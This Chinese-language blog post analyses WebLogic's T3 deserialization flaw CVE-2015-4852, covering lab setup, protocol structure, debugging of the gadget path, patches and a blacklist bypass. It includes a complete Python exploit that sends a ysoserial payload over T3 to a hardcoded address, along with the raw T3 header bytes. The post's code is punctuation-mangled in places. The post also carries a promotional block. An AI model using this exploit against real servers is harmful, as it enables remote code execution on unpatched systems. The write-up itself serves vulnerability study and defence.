CVE-2015-4852 Weblogic T3 反序列化分析

0x01 前言

看到很多師傅的面經裡面都有提到 Weblogic 這一個漏洞,最近正好有一些閒暇時間,可以看一看。

因為環境上總是有一些小問題,所以會在本地和雲伺服器切換著除錯。

0x02 環境搭建

太坑了,我的建議是用本地搭建的方法,因為用 docker 搭建,會產生依賴包缺失的問題

這裡環境安裝用的是 奇安信 A-team 大哥提供的指令碼,不得不說實在是太方便了!省去了很多環境搭建中不必要的麻煩

下載對應版本的 JDK 和 Weblogic 然後分別放在 jdks 和 weblogics 中

我這裡直接用的 kali 搭建,需要先把 jdk 和 weblogic 放到資料夾裡面,如圖

CVE-2015-4852 Weblogic T3 反序列化分析

CVE-2015-4852 Weblogic T3 反序列化分析

首先要先改寫一下 Dockerfile,原作者寫的 Dockerfile 有一點小問題

# 基礎映象FROM centos:centos7# 引數ARG JDK_PKGARG WEBLOGIC_JAR# 解決libnsl包丟失的問題# RUN yum -y install libnsl# 建立使用者RUN groupadd -g 1000 oinstall && useradd -u 1100 -g oinstall oracle# 建立需要的資料夾和環境變數RUN mkdir -p /install && mkdir -p /scriptsENV JDK_PKG=$JDK_PKGENV WEBLOGIC_JAR=$WEBLOGIC_JAR# 複製指令碼COPY scripts/jdk_install。sh /scripts/jdk_install。sh COPY scripts/jdk_bin_install。sh /scripts/jdk_bin_install。sh COPY scripts/weblogic_install11g。sh /scripts/weblogic_install11g。shCOPY scripts/weblogic_install12c。sh /scripts/weblogic_install12c。shCOPY scripts/create_domain11g。sh /scripts/create_domain11g。shCOPY scripts/create_domain12c。sh /scripts/create_domain12c。shCOPY scripts/open_debug_mode。sh /scripts/open_debug_mode。shCOPY jdks/$JDK_PKG 。COPY weblogics/$WEBLOGIC_JAR 。# 判斷jdk是包(bin/tar。gz)weblogic包(11g/12c)載入對應指令碼RUN if [ $JDK_PKG == *。bin ] ; then echo ****載入JDK bin安裝指令碼**** && cp /scripts/jdk_bin_install。sh /scripts/jdk_install。sh ; else echo ****載入JDK tar。gz安裝指令碼**** ; fiRUN if [ $WEBLOGIC_JAR == *1036* ] ; then echo ****載入11g安裝指令碼**** && cp /scripts/weblogic_install11g。sh /scripts/weblogic_install。sh && cp /scripts/create_domain11g。sh /scripts/create_domain。sh ; else echo ****載入12c安裝指令碼**** && cp /scripts/weblogic_install12c。sh /scripts/weblogic_install。sh && cp /scripts/create_domain12c。sh /scripts/create_domain。sh ; fi# 指令碼設定許可權及執行RUN chmod +x /scripts/jdk_install。shRUN chmod +x /scripts/weblogic_install。shRUN chmod +x /scripts/create_domain。shRUN chmod +x /scripts/open_debug_mode。sh# 安裝JDKRUN /scripts/jdk_install。sh# 安裝weblogicRUN /scripts/weblogic_install。sh# 建立Weblogic DomainRUN /scripts/create_domain。sh# 開啟Debug模式RUN /scripts/open_debug_mode。sh# 啟動 Weblogic Server# CMD [“tail”,“-f”,“/dev/null”]CMD [“/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic。sh”]EXPOSE 7001

接著起環境

docker build ——build-arg JDK_PKG=jdk-7u21-linux-x64。tar。gz ——build-arg WEBLOGIC_JAR=wls1036_generic。jar -t weblogic1036jdk7u21 。docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 ——name weblogic1036jdk7u21 weblogic1036jdk7u21

再把 docker 當中的一些依賴資料夾拷出來,但是這一步經過我測試,感覺 docker 當中的 lib 存在一定問題,所以後續把 weblogic 的庫拿進來就可以了,對應的程式碼我會放在 GitHub 上,避免師傅們踩坑。

【——幫助網安學習,需要網安學習資料關注我,私信回覆“資料”免費獲取——】

① 網安學習成長路徑思維導圖

② 60+網安經典常用工具包

③ 100+SRC漏洞分析報告

④ 150+網安攻防實戰技術電子書

⑤ 最權威CISSP 認證考試指南+題庫

⑥ 超1800頁CTF實戰技巧手冊

⑦ 最新網安大廠面試題合集(含答案)

⑧ APP客戶端安全檢測指南(安卓+IOS)

0x03 基礎知識

關於 Weblogic

首先說一說 Weblogic 吧,Weblogic 就和 Tomcat 差不多,從功能上來說就是兩個 Web 服務端,也是啟動器。

和 Tomcat 不同的地方在於,Weblogic 可以自己部署很多東西,要知道,在 Tomcat 當中,這些都是需要自己寫程式碼的。

T3 協議

T3 協議其實是 Weblogic 內獨有的一個協議,在 Weblogic 中對 RMI 傳輸就是使用的 T3 協議。在 RMI 傳輸當中,被傳輸的是一串序列化的資料,在這串資料被接收後,執行反序列化的操作。

在 T3 的這個協議裡面包含請求包頭和請求的主體這兩部分內容。

我們可以拿 CVE-2015-4852 的 EXP 來講解

EXP 如下

import socketimport sysimport structimport reimport subprocessimport binasciidef get_payload1(gadget, command): JAR_FILE = ‘。\ysoserial。jar’ popen = subprocess。Popen([‘java’, ‘-jar’, JAR_FILE, gadget, command], stdout=subprocess。PIPE) return popen。stdout。read()def get_payload2(path): with open(path, “rb”) as f: return f。read()def exp(host, port, payload): sock = socket。socket(socket。AF_INET, socket。SOCK_STREAM) sock。connect((host, port)) handshake = “t3 12。2。3\nAS:255\nHL:19\nMS:10000000\n\n”。encode() sock。sendall(handshake) data = sock。recv(1024) pattern = re。compile(r“HELO:(。*)。false”) version = re。findall(pattern, data。decode()) if len(version) == 0: print(“Not Weblogic”) return print(“Weblogic {}”。format(version[0])) data_len = binascii。a2b_hex(b“00000000”) #資料包長度,先佔位,後面會根據實際情況重新 t3header = binascii。a2b_hex(b“016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006”) #t3協議頭 flag = binascii。a2b_hex(b“fe010000”) #反序列化資料標誌 payload = data_len + t3header + flag + payload payload = struct。pack(‘>I’, len(payload)) + payload[4:] #重新計算資料包長度 sock。send(payload)if __name__ == “__main__”: host = “81。68。120。14” port = 7001 gadget = “Jdk7u21” #CommonsCollections1 Jdk7u21 command = “Calc” payload = get_payload1(gadget, command) exp(host, port, payload)

這裡有一個小坑,我直接執行 py 程式是不行的,會回顯 Not Weblogic,因為 python socket 如果是頻繁發包,會被服務端所拒絕,所以需要以 debug 模式執行。當然如果增添 sleep 應該也是可以實現的。

Weblogic 請求包頭

我們需要透過 Wireshark 對這一個流量包執行抓包操作,後續抓到包的請求頭如圖

CVE-2015-4852 Weblogic T3 反序列化分析

這一個就是它請求包的頭

t3 12。2。1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

在傳送該請求包頭後,服務端 Weblogic 會有一個響應,內容如下

HELO:10。3。6。0。falseAS:2048HL:19

HELO 後面的內容則是被攻擊方的 Weblogic 版本號,也就是說,在傳送正確的請求包頭後,服務端會進行一個返回 Weblogic 的版本號。

Weblogic 請求主體

請求主體,也就是傳送的資料,這些資料分為七部分內容,此處借用 z_zz_zzz師傅的修復weblogic的JAVA反序列化漏洞的多種方法文章中的一張圖

CVE-2015-4852 Weblogic T3 反序列化分析

第一個非 Java 序列化資料,也就是我們的請求頭:

t3 12。2。1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

後面第 n 部分的資料,其實是不限制的,也就是說,我可以只有一部分的 Java 序列化資料,也可以有七部分的 Java 序列化資料,這並不重要,我們可以看觀察一下 Wireshark 抓的包

CVE-2015-4852 Weblogic T3 反序列化分析

ac ed 00 05

之後的內容便是序列化的資料,所以如果我們要進行攻擊,應該是對於這一串序列化的資料進行惡意構造,讓服務端在反序列化的時候發起攻擊。

而此處,如果有多個 Java 序列化的資料,可以對任一一個數據進行攻擊即可。

CVE-2015-4852 Weblogic T3 反序列化分析

0x04 漏洞分析與除錯

尋找尾部漏洞點

畢竟是反序列化的漏洞,思考了一下從兩個點入手。

1、是否存在 Jndi 注入2、是否有能夠命令執行的利用點

Jndi 注入的鏈尾探索

懷著這樣的思路,先全域性搜尋

Jndi

關鍵詞,感覺我這樣的做法應該很不精準,但是暫時找不到其他好的方法,應該是要藉助一些外掛或者工具什麼的了。

CVE-2015-4852 Weblogic T3 反序列化分析

這裡有一個

JndiServiceImpl

類,看著不錯,點進去看看,它的

invoke()

方法同樣吸引人,點過去之後發現疑似存在 jndi 注入

CVE-2015-4852 Weblogic T3 反序列化分析

不過這裡雖然引數 ————

this。implJndiName

是可控的,但是無法進行攻擊,因為只能對

java:comp/env/

進行探測,無法對

rmi, jndi, ldap

三者進行有效的呼叫,初步告吹了。

重新換一個類,這裡我找到的是

JndiAttrs

類,在它的建構函式中存在呼叫 ldap 的現象,在第 40 行

CVE-2015-4852 Weblogic T3 反序列化分析

從第六個字元開始擷取,存在一些繞過手法,這個並不要緊,而

providerURL

最後會被 put 進

env

當中,env 是一個 Properties 類

CVE-2015-4852 Weblogic T3 反序列化分析

繼續往下分析,env 作為

InitialDirContext

類的建構函式的傳參。

CVE-2015-4852 Weblogic T3 反序列化分析

一路跟進,是到了

InitialContext

的建構函式,跟進

init()

方法

CVE-2015-4852 Weblogic T3 反序列化分析

跟進

getDefaultInitCtx()

方法,再跟進

NamingManager。getInitialContext(myProps)

,發現只是 loadClass 了一個物件,寄,白給。

CVE-2015-4852 Weblogic T3 反序列化分析

CVE-2015-4852 Weblogic T3 反序列化分析

諸如此類鏈尾的嘗試還有很多,師傅們可以自行嘗試,我這只是在拋磚引玉。由於篇幅限制,後續內容我們還是集中於 Weblogic CVE-2015-4852 的漏洞分析。

漏洞分析

透過命令

ls -r 。/* | grep -i commons

,抑或是透過 maven dependency analyze,都可以分析得到 weblogic 10。3。6 的包裡面包含有 Commons Collections 3。2。0 的包。

CVE-2015-4852 Weblogic T3 反序列化分析

所以我們現在已經有了鏈尾,需要尋找一個合適的入口類,這裡就直接借用其他師傅們的研究成果了,反序列化的入口類是在

InboundMsgAbbrev#readObject

處,下個斷點開始除錯。

Weblogic T3 對於 RMI 傳遞過來的資料在處理上還是比較繞的,不過有了前面 z_zz_zzz 師傅文章中的那張圖,在理解上能夠變得簡單得多。

開始除錯

CVE-2015-4852 Weblogic T3 反序列化分析

先跟進

ServerChannelInputStream

的建構函式,

ServerChannelInputStream

這個類的作用是處理服務端收到的請求頭資訊

CVE-2015-4852 Weblogic T3 反序列化分析

繼續跟進

getServerChannel()

方法

CVE-2015-4852 Weblogic T3 反序列化分析

我們可以關注一下目前的

this。connection

是什麼

connection

weblogic。rjvm。t3。MuxableSocketT3$T3MsgAbbrevJVMConnection@49be5302

這個類,在

this。connection

中主要儲存了一些 RMI 連線的資料,包括埠地址等

CVE-2015-4852 Weblogic T3 反序列化分析

跟進

getChannel()

方法,開始處理 T3 協議

CVE-2015-4852 Weblogic T3 反序列化分析

CVE-2015-4852 Weblogic T3 反序列化分析

T3 頭處理結束,重新回到

InboundMsgAbbrev#readObject

處,跟進

readObject()

方法

一路跟進至

InboundMsgAbbrev#resolveClass()

中,這裡的呼叫棧如下

resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic。rjvm)readNonProxyDesc:1610, ObjectInputStream (java。io)readClassDesc:1515, ObjectInputStream (java。io)readOrdinaryObject:1769, ObjectInputStream (java。io)readObject0:1348, ObjectInputStream (java。io)readObject:370, ObjectInputStream (java。io)readObject:66, InboundMsgAbbrev (weblogic。rjvm)read:38, InboundMsgAbbrev (weblogic。rjvm)

resolveClass()

方法是用來處理類的,這些類在經過反序列化之後會走到

resolveClass()

方法這裡,此時的 var1,正是我們的

AnnotationInvocationHandler

CVE-2015-4852 Weblogic T3 反序列化分析

這時候的

AnnotationInvocationHandler

類並不會被直接拿去反序列化,因為 Weblogic 服務端需要先載入所有反序列化的內容。在將所有資料反序列化解析完畢之後(也可以說只是做了

Class。forName()

的操作之後),才會開始進行真正的反序列化

CVE-2015-4852 Weblogic T3 反序列化分析

後續就是熟悉的 CC1 鏈環節,這裡不再展開

CVE-2015-4852 Weblogic T3 反序列化分析

PoC 理解

PoC 本質就是把 ysoserial 生成的 payload 變成 T3 協議裡的資料格式,我們需要寫入的有幾段東西。

1、Header,這代表了資料包長度2、T3 Header3、反序列化標誌,也就是

fe 01 00 00

所以這三段話是這麼來的

header = binascii。a2b_hex(b“00000000”)t3header = binascii。a2b_hex(b“016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006”)desflag = binascii。a2b_hex(b“fe010000”)

CVE-2015-4852 Weblogic T3 反序列化分析

0x05 漏洞修復

在 resolveClass 處打補丁

在前面分析的過程中,我們能夠看出來,載入類其實是透過呼叫

resolveClass()

方法,再透過反射獲取到任意類的,所以官方選擇了基於

resolveClass()

去做黑名單校驗。

如果在

resolveClass()

處加入一個過濾,在

readNonProxyDesc

呼叫完

resolveClass

方法後,後面的反序列化操作無法完成。

透過 Web 代理與 nginx 等負載均衡防禦

Web 代理的方式只能轉發 HTTP 的請求,而不會轉發 T3 協議的請求,這就能防禦住 T3 漏洞的攻擊。當然這對於業務上有很大的影響。同理負載均衡也是,不過負載均衡需要自己手動設定。

黑名單 bypass

Oracle 官方對於 CVE-2015-4852 的修復是透過黑名單限制的。

CVE-2015-4852 Weblogic T3 反序列化分析

黑名單中的類不會被反序列化

繞過思路如下

CVE-2015-4852 Weblogic T3 反序列化分析

其實就是由

ServerChannelInputStream

換到了自身的

ReadExternal#InputStream

,這一個 bypass 也被收錄為 CVE-2016-0638;後續會對這一個漏洞進行分析。

0x06 小結

從原理角度上來說還是比較簡單的,不過理解 T3 的傳輸,並且構造惡意 PoC 的過程是非常值得學習的,CVE-2015-4852 為一些類似的攻擊提供了思路。